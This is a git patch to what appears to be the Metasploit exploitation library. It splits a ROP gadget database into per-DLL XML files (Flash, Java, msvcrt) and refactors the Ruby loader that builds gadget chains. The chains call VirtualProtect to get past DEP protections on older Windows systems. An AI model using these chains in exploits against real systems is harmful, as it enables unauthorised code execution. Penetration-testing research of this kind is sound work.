From ba1b65742e805f5527aaea55459be38ab69fbeee Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 2 Oct 2012 11:27:10 -0500 Subject: [PATCH] Separate XML for various DLLs. --- data/ropdb/flash.xml | 80 +++++++++++++++++ data/ropdb/java.xml | 27 ++++++ data/ropdb/msvcrt.xml | 56 ++++++++++++ data/ropdb/ropdb.xml | 159 ---------------------------------- lib/rex/exploitation/ropdb.rb | 93 ++++++++++++-------- 5 files changed, 218 insertions(+), 197 deletions(-) create mode 100644 data/ropdb/flash.xml create mode 100644 data/ropdb/java.xml create mode 100644 data/ropdb/msvcrt.xml delete mode 100644 data/ropdb/ropdb.xml diff --git a/data/ropdb/flash.xml b/data/ropdb/flash.xml new file mode 100644 index 0000000000..0938e74829 --- /dev/null +++ b/data/ropdb/flash.xml @@ -0,0 +1,80 @@ + + + + + 11.3.300.257 + + + + POP EAX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[EAX] # RETN + XCHG EAX,ESI # RETN + POP EBP # RETN + jmp esp + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # RETN + + + + + + 11.3.300.265 + + + + POP EAX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[EAX] # RETN + XCHG EAX,ESI # RETN + POP EBP # RETN + jmp esp + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # RETN + + + + + + 11.3.300.268 + + + + POP ECX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[ECX] + XCHG EAX,ESI # RETN + POP EBP # RETN + jmp esp + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + # RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # RETN + + + \ No newline at end of file diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml new file mode 100644 index 0000000000..b8f70b0417 --- /dev/null +++ b/data/ropdb/java.xml @@ -0,0 +1,27 @@ + + + + + * + + + + POP EBP # RETN + skip 4 bytes + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP ESI # RETN + JMP [EAX] + POP EAX # RETN + ptr to VirtualProtect() + PUSHAD # ADD AL,0EF # RETN + ptr to 'push esp # ret + + + \ No newline at end of file diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml new file mode 100644 index 0000000000..13b85cedec --- /dev/null +++ b/data/ropdb/msvcrt.xml @@ -0,0 +1,56 @@ + + + + + WINDOWS XP SP2 + WINDOWS XP SP3 + + + + POP EBP # RETN + skip 4 bytes + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP ESI # RETN + JMP [EAX] + POP EAX # RETN + ptr to VirtualProtect() + PUSHAD # RETN + ptr to 'push esp # ret + + + + + + WINDOWS SERVER 2003 SP1 + WINDOWS SERVER 2003 SP2 + + + + POP EAX # RETN + ptr to VirtualProtect() + MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + Filler + XCHG EAX,ESI # RETN + POP EBP # RETN + PUSH ESP # RETN + POP EBX # RETN + 0x00000400-> ebx + POP EDX # RETN + 0x00000040-> edx + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP EAX # RETN + nop + PUSHAD # ADD AL,0EF # RETN + + + \ No newline at end of file diff --git a/data/ropdb/ropdb.xml b/data/ropdb/ropdb.xml deleted file mode 100644 index fe77866d00..0000000000 --- a/data/ropdb/ropdb.xml +++ /dev/null @@ -1,159 +0,0 @@ - - - - - WINDOWS XP SP2 - WINDOWS XP SP3 - - - - POP EBP # RETN - skip 4 bytes - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP ESI # RETN - JMP [EAX] - POP EAX # RETN - ptr to VirtualProtect() - PUSHAD # RETN - ptr to 'push esp # ret - - - - - - WINDOWS SERVER 2003 SP1 - WINDOWS SERVER 2003 SP2 - - - - POP EAX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - Filler - XCHG EAX,ESI # RETN - POP EBP # RETN - PUSH ESP # RETN - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # ADD AL,0EF # RETN - - - - - - 11.3.300.257 - - - - POP EAX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[EAX] # RETN - XCHG EAX,ESI # RETN - POP EBP # RETN - jmp esp - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # RETN - - - - - - 11.3.300.265 - - - - POP EAX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[EAX] # RETN - XCHG EAX,ESI # RETN - POP EBP # RETN - jmp esp - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # RETN - - - - - - 11.3.300.268 - - - - POP ECX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[ECX] - XCHG EAX,ESI # RETN - POP EBP # RETN - jmp esp - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - # RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # RETN - - - - - - * - - - - POP EBP # RETN - skip 4 bytes - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP ESI # RETN - JMP [EAX] - POP EAX # RETN - ptr to VirtualProtect() - PUSHAD # ADD AL,0EF # RETN - ptr to 'push esp # ret - - - \ No newline at end of file diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index e617b41fe9..630b9a131c 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -13,9 +13,7 @@ module Exploitation ### class RopDb def initialize - f = open(File.join(File.dirname(__FILE__), '../../../data/ropdb', 'ropdb.xml')) - @xml = REXML::Document.new(f.read) - f.close + @base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/') end public @@ -24,17 +22,14 @@ class RopDb # # Returns true if a ROP chain is available, otherwise false # - def has_rop?(rop) - @xml.elements.each("db/rop") { |e| - name = e.attributes['name'] - return true if name =~ /#{rop}/i - } - return false + def has_rop?(rop_name) + File.exists?(File.join(@base_path, "#{rop_name}.xml")) end # # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or - # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size. + # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size, + # and :size_negate. # Note if no RoP is found, it returns an empry array. # Arguments: # rop_name - name of the ROP chain. @@ -46,10 +41,13 @@ class RopDb target = opts['target'] || '' base = opts['base'] || nil + raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop) + xml = load_rop(File.join(@base_path, "#{rop}.xml")) + gadgets = [] - @xml.elements.each("db/rop") { |e| + + xml.elements.each("db/rop") { |e| name = e.attributes['name'] - next if name !~ /^#{rop}$/i next if not has_target?(e, target) if not base @@ -57,33 +55,9 @@ class RopDb base = default.to_i(16) end - e.elements.each('gadgets/gadget') { |g| - offset = g.attributes['offset'] - value = g.attributes['value'] - - if offset - addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0] - gadgets << (base + addr.to_i(16)) - elsif value - case value - when 'nop' - gadgets << :nop - when 'junk' - gadgets << :junk - when 'size' - gadgets << :size - when 'size_negate' - gadgets << :size_negate - else - gadgets << value.to_i(16) - end - else - raise RuntimeError, "Missing offset or value attribute in '#{name}'" - end - } + gadgets << parse_gadgets(e, base) } - gadgets = gadgets.flatten - return gadgets + return gadgets.flatten end @@ -140,6 +114,49 @@ class RopDb } return false end + + # + # Returns the database in XML + # + def load_rop(file_path) + f = open(file_path) + xml = REXML::Document.new(f.read) + f.close + return xml + end + + + # + # Returns gadgets + # + def parse_gadgets(e, image_base) + gadgets = [] + e.elements.each('gadgets/gadget') { |g| + offset = g.attributes['offset'] + value = g.attributes['value'] + + if offset + addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0] + gadgets << (image_base + addr.to_i(16)) + elsif value + case value + when 'nop' + gadgets << :nop + when 'junk' + gadgets << :junk + when 'size' + gadgets << :size + when 'size_negate' + gadgets << :size_negate + else + gadgets << value.to_i(16) + end + else + raise RuntimeError, "Missing offset or value attribute in '#{name}'" + end + } + return gadgets + end end end